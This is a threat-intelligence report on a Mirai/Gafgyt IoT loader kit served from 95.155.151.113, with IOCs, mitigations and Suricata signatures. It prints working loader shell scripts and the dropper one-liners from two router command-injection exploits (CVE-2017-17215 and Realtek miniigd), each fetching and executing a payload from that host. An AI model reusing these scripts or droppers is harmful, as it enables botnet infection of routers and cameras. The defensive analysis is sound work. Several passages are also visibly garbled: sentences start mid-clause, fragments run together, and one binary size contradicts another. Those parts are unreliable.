Sensi IoT loader kit — 95.155.151.113
A build-tag distribution kit for a Mirai/Gafgyt-family multi-arch loader, stamping a distinct per-exploit tag into each of two coexisting script generations, run from a single host that is also the exploit source
Last updated 2026-08-15.
Executive summary
We've published this shape before: a single host doing the exploit, the loader, and the payload hosting all at once, no separation of roles. Our July report on 94.183.232.247 called that combination unusual. It no longer reads as a one-off — this is a second, independent instance of the same operational pattern, six weeks later, from an unrelated host. What's different this time is the distribution mechanism: instead of one flat multi-architecture loader script, this host runs a small build system. Two coexisting generations of loader script, each stamping a distinct exploit-vendor tag — hikvision, tbkdvr, tplink, avtech, totolink, zhone, hi3520, and others — into an otherwise identical download-and-execute routine.
95.155.151.113 has, since 2026-07-30, served as an open directory hosting at least 52 distinct Mirai/Gafgyt-family payloads and loader scripts across at least 42 distinct filenames — the largest open-directory listing we've captured in the trailing 30 days by item count, more than 10x the 30-day average. The same IP directly exploited our fleet 34 times using two SOAP/UPnP router RCEs (Realtek miniigd UPnP command injection and the Huawei HG532 NewStatusURL RCE, CVE-2017-17215), in both cases delivering the identical one-liner: fetch a loader script from itself and execute it. We recovered 23 distinct loader-script variants from this host targeting at least 10 different IoT vendors/device families, organized as two generations of the same build pattern — an older, bare-tag generation and a newer generation with a byte-size sanity check and slim/full payload tiers.
VirusTotal (checked live, 2026-08-15) classifies the recovered ELF payloads as trojan.mirai/gafgyt, with detection rates as high as 40/60 engines on the largest observed binary. We detonated 13 of the recovered payloads in sandbox; all executed cleanly (exit_kind: exited) but none produced an outbound command-and-control connection within the observation window — a real limitation of this report, not a finding of C2 absence.
Threat actor profile
No named threat actor or public write-up was found matching this exact build-tag kit or its script naming convention. The operator has not been attributed. One filename choice is worth flagging as a possible self-identifier rather than a vendor-exploit tag: the generic loader at /sensi.sh has been served in two different forms over time — one tagged sensi, the other, functionally identical but from the older script generation, tagged goon. Every other tag we recovered names a real vendor or device family (Hikvision, TP-Link, Avtech, TOTOLINK, Zhone, Fiberhome-shaped, Hisilicon HI3520, generic TBK/generic DVR). goon doesn't fit that pattern and reads more like an operator or builder handle than an exploit label.
wget → BusyBox wget → system wget → curl → tftp — is more resilient than the flat single-tool loaders we've seen from comparable hosts, suggesting either active development or a kit assembled from a more mature builder than the single-generation loader documented in our July report.
| Attribute | Assessment | Confidence |
|---|---|---|
| Motivation | Botnet recruitment — family classification (Mirai/Gafgyt) and IoT/router targeting are consistent with DDoS-capable botnet building; no C2 tasking observed to confirm active use | MED |
| Target profile | Opportunistic, RCE-driven — at least 10 distinct consumer/SMB router and IP-camera/DVR vendor families targeted by name (Hikvision, TP-Link, Avtech, TOTOLINK, Zhone, Realtek/UPnP devices, Huawei HG532, TBK DVR, Hisilicon HI3520-based cameras, a Fiberhome-shaped target) | HIGH |
| Operational tempo | Sustained, not a single burst — first observed 2026-07-30, still actively growing its directory listing and being fetched from as of this report's publish date | HIGH |
| Attribution | Unknown; no named threat actor or public research found matching this kit | MED |
Infrastructure analysis
./d "$TAG" — e.g. ./d hikvision, ./d tbkdvrDirectory listing
| Attribute | Value |
|---|---|
| Server banner | Apache/2.4.68 (Debian) |
| Items in listing | 43 (detector: apache directory index) |
| First captured | 2026-07-30 03:31 UTC |
| Most recent re-check | 2026-08-15 05:59 UTC |
| Distinct file hashes recovered via sample chase | 52, across 42 distinct URLs |
Hosting
| Attribute | Value |
|---|---|
| IP | 95.155.151.113 |
| Netblock | 95.155.151.0/24 (RIPE, registrant "Private Customer") |
| ASN | AS40662, "LAYER7-MITIGATION" — registrant Layer7 Technologies Inc |
| ASN registered | 2026-02-26 (ARIN RDAP) |
| Infrastructure classification (spur.us, checked live) | Datacenter; no VPN/proxy/tunnel flags; country NL |
Malware analysis
Loader scripts — two generations
We recovered 23 distinct loader-script hashes from paths under /sensi* alone (the host also serves un-prefixed vendor scripts — dlink.sh, gpon.sh, hnap.sh, huawei.sh, netgear.sh, realtek.sh, unifi.sh — sharing the same download-and-execute logic, not counted in the 23). All are small POSIX shell scripts, no obfuscation.
| Generation | Shape | Tags observed |
|---|---|---|
| Newer | TAG="…" variable; tries a "slim" payload first per architecture, then falls back to "full" (xd.*); validates the downloaded file is >10KB before chmod 777 + execute; exits immediately on first successful run |
sensi, hikvision, tbk, avtech, tplink |
| Older | Tag passed inline as a literal argument, no size check, no early exit — sweeps every architecture in a fixed order regardless of whether an earlier one already succeeded | goon, hikvsn, tbkdvr, tplink, avtech, totolink, zhone, dvrr, hi3520, fboa |
# Newer generation (sensi_tbk.sh) — condensed
SERVER="95.155.151.113"; TAG="tbk"
dl() {
wget -q http://$SERVER/d/$1 -O d 2>/dev/null || busybox wget ... || curl -s -o d ... || tftp -g -l d -r $1 $SERVER
[ -f d ] || return 1
[ "$(wc -c < d)" -gt 10000 ] || { rm -f d; return 1; }
chmod 777 d; ./d "$TAG" >/dev/null 2>&1 && exit 0
rm -f d; return 1
}
dl slim.arm7; dl slim.arm; dl xd.arm7; dl xd.arm; dl xd.arm5; dl xd.arm6
dl slim.mips; dl slim.mpsl; dl xd.mips; dl xd.mpsl; dl xd.x86
dl slim.arm64; dl xd.arm64; dl xd.ppc; dl xd.sh4; dl xd.m68k
# Older generation (813ecca5…, tagged hikvsn) — condensed
SERVER="95.155.151.113"
dl() {
wget -q http://$SERVER/d/$1 -O d 2>/dev/null || busybox wget ... || curl -s -o d ...
chmod 777 d 2>/dev/null; ./d hikvsn; rm -rf d
}
dl xd.mips; dl xd.mpsl; dl xd.arm; dl xd.arm5; dl xd.arm6; dl xd.arm7
dl xd.ppc; dl xd.spc; dl xd.m68k; dl xd.sh4
Payload binaries
Multi-architecture ELF payloads under /d/ and mirrored at the directory root: arm, arm5, arm7, arm64, mips, mpsl. Not packed — file-type identification cleanly resolves ELF headers and target architecture on every sample we checked, unlike a UPX- or custom-packed binary, which typically identifies as raw "data." The two largest recovered "full" (xd.*) binaries are 734,664 and 734,312 bytes — notably large for a Mirai-family payload, consistent with the loader's own "slim first, then full" naming implying the full tier bundles additional functionality (self-propagation, telnet/SSH scanning) that a slim tier omits.
b17643a1…, 660,784 bytes): 40/60 engines, popular_threat_name: trojan.mirai/gafgyt, engine labels include Trojan.Linux.Mirai.39487145 (MicroWorld-eScan, BitDefender, VIPRE, GData) and Backdoor.Linux.MIRAI.USBLH226 (TrendMicro). Second binary checked (ARM, bbbab27a…): 39/62 engines, same trojan.mirai/gafgyt classification. Consistent family verdict across architectures and engine vendors.
Sandbox detonation
13 of the recovered payloads (arm, aarch64, mips, mipsel architectures) were run through our automated sandbox pipeline, each for a 5-minute window. All 13 executed successfully (boot_ok, login_ok, exec_ok all true) and exited cleanly (exit_kind: exited) without crashing or hanging.
94.183.232.247) needed a 12-hour dwell before the C2 channel produced any traffic beyond a heartbeat. We have not yet run an extended dwell against this host's payloads; that is the most direct way to close this gap and is noted as follow-up work.
Observed TTPs — MITRE ATT&CK
NewStatusURL RCE (CVE-2017-17215)Activity timeline
95.155.151.113 against our fleet — generic HTTP/apache-bait probing, no exploit attempt yet.wget http://95.155.151.113/sensi.sh -O z; chmod 777 z; sh z. Same request triggered our open-directory hunter, which recorded the first probe of the listing at this IP.NewStatusURL RCE (CVE-2017-17215) against sensor vps-BF, delivering the identical sensi.sh payload URL.Exploit payload
Realtek miniigd UPnP command injection
A long-known UPnP/SOAP command-injection weakness in Realtek's miniigd SDK, abused via the NewInternalClient action parameter of the WANIPConn1/WANPPPConn1 UPnP service. Widely exploited by Mirai-lineage botnets since at least 2018.
`cd /tmp; wget http://95.155.151.113/sensi.sh -O z; chmod 777 z; sh z`
Huawei HG532 NewStatusURL RCE (CVE-2017-17215)
Command injection in the Huawei HG532 router's UPnP NewStatusURL/NewDownloadURL SOAP action, first mass-exploited by Satori/Okiru in late 2017.
$(/bin/busybox wget http://95.155.151.113/sensi.sh -O /tmp/z; chmod 777 /tmp/z; sh /tmp/z)
$(echo HUAWEIUPNP)
Both RCE chains deliver the identical dropper one-liner, differing only in the SOAP wrapper the vulnerable device parses.
Indicators of compromise
Network IOCs
sensi or goonFile IOCs — representative sample
| SHA256 | Type / Tag | VT |
|---|---|---|
b17643a10894128e150cec8f619be1c1960bc99eb789eeb4b5f6fa370265e2c3 |
ELF, MIPS, "full" tier | 40 / 60 |
bbbab27acb546f3f3aa632bb5e084316f4af2fef4490262dfc33d4df624f96cc |
ELF, ARM, "full" tier | 39 / 62 |
8cb48c18c1b8e09e4d4cf12025599f61dcfff3b77adc96668e32cd47eae51a07 |
Shell script, sensi_tbk, newer generation |
28 / 60 |
813ecca5f5f3db59b5a1ff6979669d50347295cd4dbc8c7a233d1c0c8e6a35c2 |
Shell script, hikvsn, older generation |
29 / 61 |
Full IOC set (52 distinct hashes across 42 URLs) available on request; representative sample shown for brevity.
Mitigations and detection
| Action | Priority | Detail |
|---|---|---|
| Patch or retire vulnerable Huawei HG532 routers | HIGH | CVE-2017-17215 has been mass-exploited since 2017 and remains a live vector nearly a decade later. If a firmware fix is unavailable, disable remote UPnP management entirely. |
| Disable UPnP on Internet-facing interfaces | HIGH | The Realtek miniigd weakness and CVE-2017-17215 both ride the UPnP/SOAP management interface. UPnP should never be reachable from the WAN side of a router. |
| Block outbound fetches to the loader host | MED | Block 95.155.151.113 at the perimeter; the host has been active and growing its payload library for over two weeks as of this report. |
| Hunt for the size-gated stage-1 pattern | MED | The newer-generation loader's ≥10KB size check is a useful detection anchor: a device fetching a small file over HTTP/TFTP and immediately chmod 777-ing and executing it is a strong indicator regardless of the specific host. |
Detection signatures
# Suricata/Snort — Realtek miniigd UPnP command injection delivering this kit
alert http any any -> $HOME_NET any (msg:"Sensi kit: Realtek miniigd RCE delivering loader"; \
content:"NewInternalClient"; http_client_body; \
content:"95.155.151.113"; http_client_body; \
flow:established,to_server; sid:9920101; rev:1;)
# Suricata/Snort — Huawei HG532 CVE-2017-17215 delivering this kit
alert http any any -> $HOME_NET any (msg:"Sensi kit: Huawei HG532 CVE-2017-17215 delivering loader"; \
content:"NewStatusURL"; http_client_body; \
content:"95.155.151.113"; http_client_body; \
flow:established,to_server; sid:9920102; rev:1;)
# Suricata — outbound fetch from the loader host
alert http $HOME_NET any -> 95.155.151.113 any (msg:"Sensi kit: outbound loader/payload fetch"; \
content:"GET"; http_method; \
flow:established,to_server; sid:9920103; rev:1;)
Collection methodology
All data in this report was collected organically by a distributed SSH/Telnet honeypot fleet deployed across multiple cloud providers and geographic regions. Fleet nodes also run alternate-protocol lure daemons that capture exploitation attempts against commonly-targeted IoT/router management interfaces, including the UPnP/SOAP services abused in this campaign.
Dropper URLs extracted from captured exploit commands were automatically fetched and stored by the fleet's collection pipeline; the same pipeline discovered and recursively harvested the open directory once the dropper's parent path was identified. Recovered ELF payloads were automatically queued for sandbox detonation, with network egress routed through a residential-style VPN for realistic network conditions; no interaction with victim networks occurred beyond passive observation of traffic the sample itself generated. VirusTotal, RDAP, and IP-infrastructure-classification lookups were performed via the fleet's own investigation tooling at the time this report was written.